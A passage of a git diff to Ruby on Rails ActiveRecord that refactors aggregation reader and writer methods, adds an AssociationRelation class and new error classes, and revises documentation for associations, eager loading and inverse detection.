- create_reflection(:composed_of, part_id, nil, options, self)
+ reflection = ActiveRecord::Reflection.create(:composed_of, part_id, nil, options, self)
+ Reflection.add_aggregate_reflection self, part_id, reflection
end
private
def reader_method(name, class_name, mapping, allow_nil, constructor)
define_method(name) do
- if @aggregation_cache[name].nil? && (!allow_nil || mapping.any? {|pair| !read_attribute(pair.first).nil? })
- attrs = mapping.collect {|pair| read_attribute(pair.first)}
+ if @aggregation_cache[name].nil? && (!allow_nil || mapping.any? {|key, _| !_read_attribute(key).nil? })
+ attrs = mapping.collect {|key, _| _read_attribute(key)}
object = constructor.respond_to?(:call) ?
constructor.call(*attrs) :
class_name.constantize.send(constructor, *attrs)
@@ -243,15 +244,19 @@ module ActiveRecord
def writer_method(name, class_name, mapping, allow_nil, converter)
define_method("#{name}=") do |part|
klass = class_name.constantize
+ if part.is_a?(Hash)
+ part = klass.new(*part.values)
+ end
+
unless part.is_a?(klass) || converter.nil? || part.nil?
part = converter.respond_to?(:call) ? converter.call(part) : klass.send(converter, part)
end
if part.nil? && allow_nil
- mapping.each { |pair| self[pair.first] = nil }
+ mapping.each { |key, _| self[key] = nil }
@aggregation_cache[name] = nil
else
- mapping.each { |pair| self[pair.first] = part.send(pair.last) }
+ mapping.each { |key, value| self[key] = part.send(value) }
@aggregation_cache[name] = part.freeze
end
end
diff --git a/activerecord/lib/active_record/association_relation.rb b/activerecord/lib/active_record/association_relation.rb
new file mode 100644
index 0000000000..5a84792f45
--- /dev/null
+++ b/activerecord/lib/active_record/association_relation.rb
@@ -0,0 +1,22 @@
+module ActiveRecord
+ class AssociationRelation < Relation
+ def initialize(klass, table, association)
+ super(klass, table)
+ @association = association
+ end
+
+ def proxy_association
+ @association
+ end
+
+ def ==(other)
+ other == to_a
+ end
+
+ private
+
+ def exec_queries
+ super.each { |r| @association.set_inverse_instance r }
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/associations.rb b/activerecord/lib/active_record/associations.rb
index d8b6d7a86b..eb21712f96 100644
--- a/activerecord/lib/active_record/associations.rb
+++ b/activerecord/lib/active_record/associations.rb
@@ -1,11 +1,15 @@
require 'active_support/core_ext/enumerable'
require 'active_support/core_ext/string/conversions'
require 'active_support/core_ext/module/remove_method'
-require 'active_support/dependencies/autoload'
-require 'active_support/concern'
require 'active_record/errors'
module ActiveRecord
+ class AssociationNotFoundError < ConfigurationError #:nodoc:
+ def initialize(record, association_name)
+ super("Association named '#{association_name}' was not found on #{record.class.name}; perhaps you misspelled it?")
+ end
+ end
+
class InverseOfAssociationNotFoundError < ActiveRecordError #:nodoc:
def initialize(reflection, associated_class = nil)
super("Could not find the inverse association for #{reflection.name} (#{reflection.options[:inverse_of].inspect} in #{associated_class.nil? ? reflection.class_name : associated_class.name})")
@@ -42,12 +46,18 @@ module ActiveRecord
end
end
+ class HasOneAssociationPolymorphicThroughError < ActiveRecordError #:nodoc:
+ def initialize(owner_class_name, reflection)
+ super("Cannot have a has_one :through association '#{owner_class_name}##{reflection.name}' which goes through the polymorphic association '#{owner_class_name}##{reflection.through_reflection.name}'.")
+ end
+ end
+
class HasManyThroughSourceAssociationNotFoundError < ActiveRecordError #:nodoc:
def initialize(reflection)
through_reflection = reflection.through_reflection
source_reflection_names = reflection.source_reflection_names
- source_associations = reflection.through_reflection.klass.reflect_on_all_associations.collect { |a| a.name.inspect }
- super("Could not find the source association(s) #{source_reflection_names.collect{ |a| a.inspect }.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?")
+ source_associations = reflection.through_reflection.klass._reflections.keys
+ super("Could not find the source association(s) #{source_reflection_names.collect(&:inspect).to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)} in model #{through_reflection.klass}. Try 'has_many #{reflection.name.inspect}, :through => #{through_reflection.name.inspect}, :source => <name>'. Is it one of #{source_associations.to_sentence(:two_words_connector => ' or ', :last_word_connector => ', or ', :locale => :en)}?")
end
end
@@ -75,21 +85,15 @@ module ActiveRecord
end
end
- class HasAndBelongsToManyAssociationForeignKeyNeeded < ActiveRecordError #:nodoc:
- def initialize(reflection)
- super("Cannot create self referential has_and_belongs_to_many association on '#{reflection.class_name rescue nil}##{reflection.name rescue nil}'. :association_foreign_key cannot be the same as the :foreign_key.")
- end
- end
-
class EagerLoadPolymorphicError < ActiveRecordError #:nodoc:
def initialize(reflection)
- super("Can not eagerly load the polymorphic association #{reflection.name.inspect}")
+ super("Cannot eagerly load the polymorphic association #{reflection.name.inspect}")
end
end
class ReadOnlyAssociation < ActiveRecordError #:nodoc:
def initialize(reflection)
- super("Can not add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
+ super("Cannot add to a has_many :through association. Try adding to #{reflection.through_reflection.name.inspect}.")
end
end
@@ -116,7 +120,6 @@ module ActiveRecord
autoload :BelongsToAssociation, 'active_record/associations/belongs_to_association'
autoload :BelongsToPolymorphicAssociation, 'active_record/associations/belongs_to_polymorphic_association'
- autoload :HasAndBelongsToManyAssociation, 'active_record/associations/has_and_belongs_to_many_association'
autoload :HasManyAssociation, 'active_record/associations/has_many_association'
autoload :HasManyThroughAssociation, 'active_record/associations/has_many_through_association'
autoload :HasOneAssociation, 'active_record/associations/has_one_association'
@@ -139,7 +142,6 @@ module ActiveRecord
autoload :JoinDependency, 'active_record/associations/join_dependency'
autoload :AssociationScope, 'active_record/associations/association_scope'
autoload :AliasTracker, 'active_record/associations/alias_tracker'
- autoload :JoinHelper, 'active_record/associations/join_helper'
end
# Clears out the association cache.
@@ -155,7 +157,7 @@ module ActiveRecord
association = association_instance_get(name)
if association.nil?
- reflection = self.class.reflect_on_association(name)
+ raise AssociationNotFoundError.new(self, name) unless reflection = self.class._reflect_on_association(name)
association = reflection.association_class.new(self, reflection)
association_instance_set(name, association)
end
@@ -166,7 +168,7 @@ module ActiveRecord
private
# Returns the specified association instance if it responds to :loaded?, nil otherwise.
def association_instance_get(name)
- @association_cache[name.to_sym]
+ @association_cache[name]
end
# Set the specified association instance.
@@ -174,7 +176,7 @@ module ActiveRecord
@association_cache[name] = association
end
- # Associations are a set of macro-like class methods for tying objects together through
+ # \Associations are a set of macro-like class methods for tying objects together through
# foreign keys. They express relationships like "Project has one Project Manager"
# or "Project belongs to a Portfolio". Each macro adds a number of methods to the
# class which are specialized according to the collection or association symbol and the
@@ -193,8 +195,8 @@ module ActiveRecord
# * <tt>Project#portfolio, Project#portfolio=(portfolio), Project#portfolio.nil?</tt>
# * <tt>Project#project_manager, Project#project_manager=(project_manager), Project#project_manager.nil?,</tt>
# * <tt>Project#milestones.empty?, Project#milestones.size, Project#milestones, Project#milestones<<(milestone),</tt>
- # <tt>Project#milestones.delete(milestone), Project#milestones.destroy(mileston), Project#milestones.find(milestone_id),</tt>
- # <tt>Project#milestones.all(options), Project#milestones.build, Project#milestones.create</tt>
+ # <tt>Project#milestones.delete(milestone), Project#milestones.destroy(milestone), Project#milestones.find(milestone_id),</tt>
+ # <tt>Project#milestones.build, Project#milestones.create</tt>
# * <tt>Project#categories.empty?, Project#categories.size, Project#categories, Project#categories<<(category1),</tt>
# <tt>Project#categories.delete(category1), Project#categories.destroy(category1)</tt>
#
@@ -206,12 +208,13 @@ module ActiveRecord
# For instance, +attributes+ and +connection+ would be bad choices for association names.
#
# == Auto-generated methods
+ # See also Instance Public methods below for more details.
#
# === Singular associations (one-to-one)
# | | belongs_to |
# generated methods | belongs_to | :polymorphic | has_one
# ----------------------------------+------------+--------------+---------
- # other | X | X | X
+ # other(force_reload=false) | X | X | X
# other=(other) | X | X | X
# build_other(attributes={}) | X | | X
# create_other(attributes={}) | X | | X
@@ -221,7 +224,7 @@ module ActiveRecord
# | | | has_many
# generated methods | habtm | has_many | :through
# ----------------------------------+-------+----------+----------
- # others | X | X | X
+ # others(force_reload=false) | X | X | X
# others=(other,other,...) | X | X | X
# other_ids | X | X | X
# other_ids=(id,id,...) | X | X | X
@@ -243,6 +246,7 @@ module ActiveRecord
# others.destroy_all | X | X | X
# others.find(*args) | X | X | X
# others.exists? | X | X | X
+ # others.distinct | X | X | X
# others.uniq | X | X | X
# others.reset | X | X | X
#
@@ -366,11 +370,11 @@ module ActiveRecord
# there is some special behavior you should be aware of, mostly involving the saving of
# associated objects.
#
- # You can set the :autosave option on a <tt>has_one</tt>, <tt>belongs_to</tt>,
+ # You can set the <tt>:autosave</tt> option on a <tt>has_one</tt>, <tt>belongs_to</tt>,
# <tt>has_many</tt>, or <tt>has_and_belongs_to_many</tt> association. Setting it
# to +true+ will _always_ save the members, whereas setting it to +false+ will
- # _never_ save the members. More details about :autosave option is available at
- # autosave_association.rb .
+ # _never_ save the members. More details about <tt>:autosave</tt> option is available at
+ # AutosaveAssociation.
#
# === One-to-one associations
#
@@ -403,7 +407,7 @@ module ActiveRecord
#
# == Customizing the query
#
- # Associations are built from <tt>Relation</tt>s, and you can use the <tt>Relation</tt> syntax
+ # \Associations are built from <tt>Relation</tt>s, and you can use the <tt>Relation</tt> syntax
# to customize them. For example, to add a condition:
#
# class Blog < ActiveRecord::Base
@@ -422,6 +426,10 @@ module ActiveRecord
# has_many :birthday_events, ->(user) { where starts_on: user.birthday }, class_name: 'Event'
# end
#
+ # Note: Joining, eager loading and preloading of these associations is not fully possible.
+ # These operations happen before instance creation and the scope will be called with a +nil+ argument.
+ # This can lead to unexpected behavior and is deprecated.
+ #
# == Association callbacks
#
# Similar to the normal callbacks that hook into the life cycle of an Active Record object,
@@ -445,9 +453,11 @@ module ActiveRecord
#
# Possible callbacks are: +before_add+, +after_add+, +before_remove+ and +after_remove+.
#
- # Should any of the +before_add+ callbacks throw an exception, the object does not get
- # added to the collection. Same with the +before_remove+ callbacks; if an exception is
- # thrown the object doesn't get removed.
+ # If any of the +before_add+ callbacks throw an exception, the object will not be
+ # added to the collection.
+ #
+ # Similarly, if any of the +before_remove+ callbacks throw an exception, the object
+ # will not be removed from the collection.
#
# == Association extensions
#
@@ -459,7 +469,7 @@ module ActiveRecord
# has_many :people do
# def find_or_create_by_name(name)
# first_name, last_name = name.split(" ", 2)
- # find_or_create_by_first_name_and_last_name(first_name, last_name)
+ # find_or_create_by(first_name: first_name, last_name: last_name)
# end
# end
# end
@@ -474,7 +484,7 @@ module ActiveRecord
# module FindOrCreateByNameExtension
# def find_or_create_by_name(name)
# first_name, last_name = name.split(" ", 2)
- # find_or_create_by_first_name_and_last_name(first_name, last_name)
+ # find_or_create_by(first_name: first_name, last_name: last_name)
# end
# end
#
@@ -539,8 +549,8 @@ module ActiveRecord
# end
#
# @firm = Firm.first
- # @firm.clients.collect { |c| c.invoices }.flatten # select all invoices for all clients of the firm
- # @firm.invoices # selects all invoices by going through the Client join model
+ # @firm.clients.flat_map { |c| c.invoices } # select all invoices for all clients of the firm
+ # @firm.invoices # selects all invoices by going through the Client join model
#
# Similarly you can go through a +has_one+ association on the join model:
#
@@ -569,6 +579,8 @@ module ActiveRecord
# @group.avatars << Avatar.new # this would work if User belonged_to Avatar rather than the other way around
# @group.avatars.delete(@group.avatars.last) # so would this
#
+ # == Setting Inverses
+ #
# If you are using a +belongs_to+ on the join model, it is a good idea to set the
# <tt>:inverse_of</tt> option on the +belongs_to+, which will mean that the following example
# works correctly (where <tt>tags</tt> is a +has_many+ <tt>:through</tt> association):
@@ -585,7 +597,27 @@ module ActiveRecord
# belongs_to :tag, inverse_of: :taggings
# end
#
- # == Nested Associations
+ # If you do not set the <tt>:inverse_of</tt> record, the association will
+ # do its best to match itself up with the correct inverse. Automatic
+ # inverse detection only works on <tt>has_many</tt>, <tt>has_one</tt>, and
+ # <tt>belongs_to</tt> associations.
+ #
+ # Extra options on the associations, as defined in the
+ # <tt>AssociationReflection::INVALID_AUTOMATIC_INVERSE_OPTIONS</tt> constant, will
+ # also prevent the association's inverse from being found automatically.
+ #
+ # The automatic guessing of the inverse association uses a heuristic based
+ # on the name of the class, so it may not work for all associations,
+ # especially the ones with non-standard names.
+ #
+ # You can turn off the automatic detection of inverse associations by setting
+ # the <tt>:inverse_of</tt> option to <tt>false</tt> like so:
+ #
+ # class Taggable < ActiveRecord::Base
+ # belongs_to :tag, inverse_of: false
+ # end
+ #
+ # == Nested \Associations
#
# You can actually specify *any* association with the <tt>:through</tt> option, including an
# association which has a <tt>:through</tt> option itself. For example:
@@ -623,12 +655,12 @@ module ActiveRecord
# belongs_to :commenter
# end
#
- # When using nested association, you will not be able to modify the association because there
+ # When using a nested association, you will not be able to modify the association because there
# is not enough information to know what modification to make. For example, if you tried to
# add a <tt>Commenter</tt> in the example above, there would be no way to tell how to set up the
# intermediate <tt>Post</tt> and <tt>Comment</tt> objects.
#
- # == Polymorphic Associations
+ # == Polymorphic \Associations
#
# Polymorphic associations on models are not restricted on what types of models they
# can be associated with. Rather, they specify an interface that a +has_many+ association
@@ -655,11 +687,14 @@ module ActiveRecord
# and member posts that use the posts table for STI. In this case, there must be a +type+
# column in the posts table.
#
+ # Note: The <tt>attachable_type=</tt> method is being called when assigning an +attachable+.
+ # The +class_name+ of the +attachable+ is passed as a String.
+ #
# class Asset < ActiveRecord::Base
# belongs_to :attachable, polymorphic: true
#
- # def attachable_type=(sType)
- # super(sType.to_s.classify.constantize.base_class.to_s)
+ # def attachable_type=(class_name)
+ # super(class_name.constantize.base_class.to_s)
# end
# end
#
@@ -690,9 +725,9 @@ module ActiveRecord
# == Eager loading of associations
#
# Eager loading is a way to find objects of a certain class and a number of named associations.
- # This is one of the easiest ways of to prevent the dreaded 1+N problem in which fetching 100
+ # It is one of the easiest ways to prevent the dreaded N+1 problem in which fetching 100
# posts that each need to display their author triggers 101 database queries. Through the
- # use of eager loading, the 101 queries can be reduced to 2.
+ # use of eager loading, the number of queries will be reduced from 101 to 2.
#
# class Post < ActiveRecord::Base
# belongs_to :author
@@ -722,16 +757,16 @@ module ActiveRecord
# Post.includes(:author, :comments).each do |post|
#
# This will load all comments with a single query. This reduces the total number of queries
- # to 3. More generally the number of queries will be 1 plus the number of associations
+ # to 3. In general, the number of queries will be 1 plus the number of associations
# named (except if some of the associations are polymorphic +belongs_to+ - see below).
#
# To include a deep hierarchy of associations, use a hash:
#
- # Post.includes(:author, {comments: {author: :gravatar}}).each do |post|
+ # Post.includes(:author, { comments: { author: :gravatar } }).each do |post|
#
- # That'll grab not only all the comments but all their authors and gravatar pictures.
- # You can mix and match symbols, arrays and hashes in any combination to describe the
- # associations you want to load.
+ # The above code will load all the comments and all of their associated
+ # authors and gravatars. You can mix and match any combination of symbols,
+ # arrays, and hashes to retrieve the associations you want to load.
#
# All of this power shouldn't fool you into thinking that you can pull out huge amounts
# of data with no performance penalty just because you've reduced the number of queries.
@@ -740,10 +775,10 @@ module ActiveRecord
# cut down on the number of queries in a situation as the one described above.
#
# Since only one table is loaded at a time, conditions or orders cannot reference tables
- # other than the main one. If this is the case Active Record falls back to the previously
- # used LEFT OUTER JOIN based strategy. For example
+ # other than the main one. If this is the case, Active Record falls back to the previously
+ # used LEFT OUTER JOIN based strategy. For example:
#
- # Post.includes([:author, :comments]).where(['comments.approved = ?', true]).all
+ # Post.includes([:author, :comments]).where(['comments.approved = ?', true])
#
# This will result in a single SQL query with joins along the lines of:
# <tt>LEFT OUTER JOIN comments ON comments.post_id = posts.id</tt> and
@@ -751,11 +786,16 @@ module ActiveRecord
# like this can have unintended consequences.
# In the above example posts with no approved comments are not returned at all, because
# the conditions apply to the SQL statement as a whole and not just to the association.
+ #
# You must disambiguate column references for this fallback to happen, for example
# <tt>order: "author.name DESC"</tt> will work but <tt>order: "name DESC"</tt> will not.
#
- # If you do want eager load only some members of an association it is usually more natural
- # to include an association which has conditions defined on it:
+ # If you want to load all posts (including posts with no approved comments) then write
+ # your own LEFT OUTER JOIN query using ON
+ #
+ # Post.joins("LEFT OUTER JOIN comments ON comments.post_id = posts.id AND comments.approved = '1'")
+ #
+ # In this case it is usually more natural to include an association which has conditions defined on it:
#
# class Post < ActiveRecord::Base
# has_many :approved_comments, -> { where approved: true }, class_name: 'Comment'
@@ -790,7 +830,7 @@ module ActiveRecord
# For example if all the addressables are either of class Person or Company then a total
# of 3 queries will be executed. The list of addressable types to load is determined on
# the back of the addresses loaded. This is not supported if Active Record has to fallback
- # to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError.
+ # to the previous implementation of eager loading and will raise <tt>ActiveRecord::EagerLoadPolymorphicError</tt>.
# The reason is that the parent model's type is a column value so its corresponding table
# name cannot be put in the +FROM+/+JOIN+ clauses of that query.
#
@@ -951,7 +991,7 @@ module ActiveRecord
#
# The <tt>:dependent</tt> option can have different values which specify how the deletion
# is done. For more information, see the documentation for this option on the different
- # specific association types. When no option is given, the behaviour is to do nothing
+ # specific association types. When no option is given, the behavior is to do nothing
# with the associated records when destroying a record.
#
# Note that <tt>:dependent</tt> is implemented using Rails' callback
@@ -967,8 +1007,8 @@ module ActiveRecord
# For +has_and_belongs_to_many+, <tt>delete</tt> and <tt>destroy</tt> are the same: they
# cause the records in the join table to be removed.
#
- # For +has_many+, <tt>destroy</tt> will always call the <tt>destroy</tt> method of the
- # record(s) being removed so that callbacks are run. However <tt>delete</tt> will either
+ # For +has_many+, <tt>destroy</tt> and <tt>destroy_all</tt> will always call the <tt>destroy</tt> method of the
+ # record(s) being removed so that callbacks are run. However <tt>delete</tt> and <tt>delete_all</tt> will either
# do the deletion according to the strategy specified by the <tt>:dependent</tt> option, or
# if no <tt>:dependent</tt> option is given, then it will follow the default strategy.
# The default strategy is <tt>:nullify</tt> (set the foreign keys to <tt>nil</tt>), except for
@@ -989,7 +1029,7 @@ module ActiveRecord
# associated objects themselves. So with +has_and_belongs_to_many+ and +has_many+
# <tt>:through</tt>, the join records will be deleted, but the associated records won't.
#
- # This makes sense if you think about it: if you were to call <tt>post.tags.delete(Tag.find_by_name('food'))</tt>
+ # This makes sense if you think about it: if you were to call <tt>post.tags.delete(Tag.find_by(name: 'food'))</tt>
# you would want the 'food' tag to be unlinked from the post, rather than for the tag itself
# to be removed from the database.
#
@@ -1020,13 +1060,16 @@ module ActiveRecord
# Specifies a one-to-many association. The following methods for retrieval and query of
# collections of associated objects will be added:
#
+ # +collection+ is a placeholder for the symbol passed as the +name+ argument, so
+ # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.
+ #
# [collection(force_reload = false)]
# Returns an array of all the associated objects.
# An empty array is returned if none are found.
# [collection<<(object, ...)]
# Adds one or more objects to the collection by setting their foreign keys to the collection's primary key.
- # Note that this operation instantly fires update sql without waiting for the save or update call on the
- # parent object.
+ # Note that this operation instantly fires update SQL without waiting for the save or update call on the
+ # parent object, unless the parent object is a new record.
# [collection.delete(object, ...)]
# Removes one or more objects from the collection by setting their foreign keys to +NULL+.
# Objects will be in addition destroyed if they're associated with <tt>dependent: :destroy</tt>,
@@ -1061,10 +1104,10 @@ module ActiveRecord
# [collection.size]
# Returns the number of associated objects.
# [collection.find(...)]
- # Finds an associated object according to the same rules as ActiveRecord::Base.find.
+ # Finds an associated object according to the same rules as <tt>ActiveRecord::Base.find</tt>.
# [collection.exists?(...)]
# Checks whether an associated object with the given conditions exists.
- # Uses the same rules as ActiveRecord::Base.exists?.
+ # Uses the same rules as <tt>ActiveRecord::Base.exists?</tt>.
# [collection.build(attributes = {}, ...)]
# Returns one or more new objects of the collection type that have been instantiated
# with +attributes+ and linked to this object through a foreign key, but have not yet
@@ -1074,14 +1117,14 @@ module ActiveRecord
# with +attributes+, linked to this object through a foreign key, and that has already
# been saved (if it passed the validation). *Note*: This only works if the base model
# already exists in the DB, not if it is a new (unsaved) record!
- #
- # (*Note*: +collection+ is replaced with the symbol passed as the first argument, so
- # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.)
+ # [collection.create!(attributes = {})]
+ # Does the same as <tt>collection.create</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
+ # if the record is invalid.
#
# === Example
#
- # Example: A Firm class declares <tt>has_many :clients</tt>, which will add:
- # * <tt>Firm#clients</tt> (similar to <tt>Clients.all conditions: ["firm_id = ?", id]</tt>)
+ # A <tt>Firm</tt> class declares <tt>has_many :clients</tt>, which will add:
+ # * <tt>Firm#clients</tt> (similar to <tt>Client.where(firm_id: id)</tt>)
# * <tt>Firm#clients<<</tt>
# * <tt>Firm#clients.delete</tt>
# * <tt>Firm#clients.destroy</tt>
@@ -1091,11 +1134,37 @@ module ActiveRecord
# * <tt>Firm#clients.clear</tt>
# * <tt>Firm#clients.empty?</tt> (similar to <tt>firm.clients.size == 0</tt>)
# * <tt>Firm#clients.size</tt> (similar to <tt>Client.count "firm_id = #{id}"</tt>)
- # * <tt>Firm#clients.find</tt> (similar to <tt>Client.find(id, conditions: "firm_id = #{id}")</tt>)
+ # * <tt>Firm#clients.find</tt> (similar to <tt>Client.where(firm_id: id).find(id)</tt>)
# * <tt>Firm#clients.exists?(name: 'ACME')</tt> (similar to <tt>Client.exists?(name: 'ACME', firm_id: firm.id)</tt>)
# * <tt>Firm#clients.build</tt> (similar to <tt>Client.new("firm_id" => id)</tt>)
# * <tt>Firm#clients.create</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save; c</tt>)
- # The declaration can also include an options hash to specialize the behavior of the association.
+ # * <tt>Firm#clients.create!</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save!</tt>)
+ # The declaration can also include an +options+ hash to specialize the behavior of the association.
+ #
+ # === Scopes
+ #
+ # You can pass a second argument +scope+ as a callable (i.e. proc or
+ # lambda) to retrieve a specific set of records or customize the generated
+ # query when you access the associated collection.
+ #
+ # Scope examples:
+ # has_many :comments, -> { where(author_id: 1) }
+ # has_many :employees, -> { joins(:address) }
+ # has_many :posts, ->(post) { where("max_post_length > ?", post.length) }
+ #
+ # === Extensions
+ #
+ # The +extension+ argument allows you to pass a block into a has_many
+ # association. This is useful for adding new finders, creators and other
+ # factory-type methods to be used as part of the association.
+ #
+ # Extension examples:
+ # has_many :employees do
+ # def find_or_create_by_name(name)
+ # first_name, last_name = name.split(" ", 2)
+ # find_or_create_by(first_name: first_name, last_name: last_name)
+ # end
+ # end
#
# === Options
# [:class_name]
@@ -1108,19 +1177,19 @@ module ActiveRecord
# of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_many+
# association will use "person_id" as the default <tt>:foreign_key</tt>.
# [:primary_key]
- # Specify the method that returns the primary key used for the association. By default this is +id+.
+ # Specify the name of the column to use as the primary key for the association. By default this is +id+.
# [:dependent]
# Controls what happens to the associated objects when
# their owner is destroyed. Note that these are implemented as
# callbacks, and Rails executes callbacks in order. Therefore, other
- # similar callbacks may affect the :dependent behavior, and the
- # :dependent behavior may affect other callbacks.
+ # similar callbacks may affect the <tt>:dependent</tt> behavior, and the
+ # <tt>:dependent</tt> behavior may affect other callbacks.
#
- # * <tt>:destroy</tt> causes all the associated objects to also be destroyed
- # * <tt>:delete_all</tt> causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute)
+ # * <tt>:destroy</tt> causes all the associated objects to also be destroyed.
+ # * <tt>:delete_all</tt> causes all the associated objects to be deleted directly from the database (so callbacks will not be executed).
# * <tt>:nullify</tt> causes the foreign keys to be set to +NULL+. Callbacks are not executed.
- # * <tt>:restrict_with_exception</tt> causes an exception to be raised if there are any associated records
- # * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there are any associated objects
+ # * <tt>:restrict_with_exception</tt> causes an exception to be raised if there are any associated records.
+ # * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there are any associated objects.
#
# If using with the <tt>:through</tt> option, the association on the join model must be
# a +belongs_to+, and the records which get deleted are the join records, rather than
@@ -1160,8 +1229,8 @@ module ActiveRecord
# If true, always save the associated objects or destroy them if marked for destruction,
# when saving the parent object. If false, never save or destroy the associated objects.
# By default, only save associated objects that are new records. This option is implemented as a
- # before_save callback. Because callbacks are run in the order they are defined, associated objects
- # may need to be explicitly saved in any user-defined before_save callbacks.
+ # +before_save+ callback. Because callbacks are run in the order they are defined, associated objects
+ # may need to be explicitly saved in any user-defined +before_save+ callbacks.
#
# Note that <tt>accepts_nested_attributes_for</tt> sets <tt>:autosave</tt> to <tt>true</tt>.
# [:inverse_of]
@@ -1173,28 +1242,33 @@ module ActiveRecord
# Option examples:
# has_many :comments, -> { order "posted_on" }
# has_many :comments, -> { includes :author }
- # has_many :people, -> { where("deleted = 0").order("name") }, class_name: "Person"
+ # has_many :people, -> { where(deleted: false).order("name") }, class_name: "Person"
# has_many :tracks, -> { order "position" }, dependent: :destroy
# has_many :comments, dependent: :nullify
# has_many :tags, as: :taggable
# has_many :reports, -> { readonly }
# has_many :subscribers, through: :subscriptions, source: :user
def has_many(name, scope = nil, options = {}, &extension)
- Builder::HasMany.build(self, name, scope, options, &extension)
+ reflection = Builder::HasMany.build(self, name, scope, options, &extension)
+ Reflection.add_reflection self, name, reflection
end
# Specifies a one-to-one association with another class. This method should only be used
# if the other class contains the foreign key. If the current class contains the foreign key,
# then you should use +belongs_to+ instead. See also ActiveRecord::Associations::ClassMethods's overview
- # on when to use has_one and when to use belongs_to.
+ # on when to use +has_one+ and when to use +belongs_to+.
#
# The following methods for retrieval and query of a single associated object will be added:
#
+ # +association+ is a placeholder for the symbol passed as the +name+ argument, so
+ # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.
+ #
# [association(force_reload = false)]
# Returns the associated object. +nil+ is returned if none is found.
# [association=(associate)]
# Assigns the associate object, extracts the primary key, sets it as the foreign key,
- # and saves the associate object.
+ # and saves the associate object. To avoid database inconsistencies, permanently deletes an existing
+ # associated object when assigning a new one, even if the new one isn't saved to database.
# [build_association(attributes = {})]
# Returns a new object of the associated type that has been instantiated
# with +attributes+ and linked to this object through a foreign key, but has not
@@ -1207,21 +1281,29 @@ module ActiveRecord
# Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
# if the record is invalid.
#
- # (+association+ is replaced with the symbol passed as the first argument, so
- # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.)
- #
# === Example
#
# An Account class declares <tt>has_one :beneficiary</tt>, which will add:
- # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.first(conditions: "account_id = #{id}")</tt>)
+ # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.where(account_id: id).first</tt>)
# * <tt>Account#beneficiary=(beneficiary)</tt> (similar to <tt>beneficiary.account_id = account.id; beneficiary.save</tt>)
# * <tt>Account#build_beneficiary</tt> (similar to <tt>Beneficiary.new("account_id" => id)</tt>)
# * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>)
# * <tt>Account#create_beneficiary!</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save!; b</tt>)
#
+ # === Scopes
+ #
+ # You can pass a second argument +scope+ as a callable (i.e. proc or
+ # lambda) to retrieve a specific record or customize the generated query
+ # when you access the associated object.
+ #
+ # Scope examples:
+ # has_one :author, -> { where(comment_id: 1) }
+ # has_one :employer, -> { joins(:company) }
+ # has_one :dob, ->(dob) { where("Date.new(2000, 01, 01) > ?", dob) }
+ #
# === Options
#
- # The declaration can also include an options hash to specialize the behavior of the association.
+ # The declaration can also include an +options+ hash to specialize the behavior of the association.
#
# Options are:
# [:class_name]
@@ -1233,7 +1315,7 @@ module ActiveRecord
# its owner is destroyed:
#
# * <tt>:destroy</tt> causes the associated object to also be destroyed
- # * <tt>:delete</tt> causes the asssociated object to be deleted directly from the database (so callbacks will not execute)
+ # * <tt>:delete</tt> causes the associated object to be deleted directly from the database (so callbacks will not execute)
# * <tt>:nullify</tt> causes the foreign key to be set to +NULL+. Callbacks are not executed.
# * <tt>:restrict_with_exception</tt> causes an exception to be raised if there is an associated record
# * <tt>:restrict_with_error</tt> causes an error to be added to the owner if there is an associated object
@@ -1271,6 +1353,10 @@ module ActiveRecord
# that is the inverse of this <tt>has_one</tt> association. Does not work in combination
# with <tt>:through</tt> or <tt>:as</tt> options.
# See ActiveRecord::Associations::ClassMethods's overview on Bi-directional associations for more detail.
+ # [:required]
+ # When set to +true+, the association will also have its presence validated.
+ # This will validate the association itself, not the id. You can use
+ # +:inverse_of+ to avoid an extra query during validation.
#
# Option examples:
# has_one :credit_card, dependent: :destroy # destroys the associated credit card
@@ -1282,8 +1368,10 @@ module ActiveRecord
# has_one :boss, readonly: :true
# has_one :club, through: :membership
# has_one :primary_address, -> { where primary: true }, through: :addressables, source: :addressable
+ # has_one :credit_card, required: true
def has_one(name, scope = nil, options = {})
- Builder::HasOne.build(self, name, scope, options)
+ reflection = Builder::HasOne.build(self, name, scope, options)
+ Reflection.add_reflection self, name, reflection
end
# Specifies a one-to-one association with another class. This method should only be used
@@ -1294,6 +1382,9 @@ module ActiveRecord
# Methods will be added for retrieval and query for a single associated object, for which
# this object holds an id:
#
+ # +association+ is a placeholder for the symbol passed as the +name+ argument, so
+ # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.
+ #
# [association(force_reload = false)]
# Returns the associated object. +nil+ is returned if none is found.
# [association=(associate)]
@@ -1309,9 +1400,6 @@ module ActiveRecord
# Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
# if the record is invalid.
#
- # (+association+ is replaced with the symbol passed as the first argument, so
- # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.)
- #
# === Example
#
# A Post class declares <tt>belongs_to :author</tt>, which will add:
@@ -1320,7 +1408,18 @@ module ActiveRecord
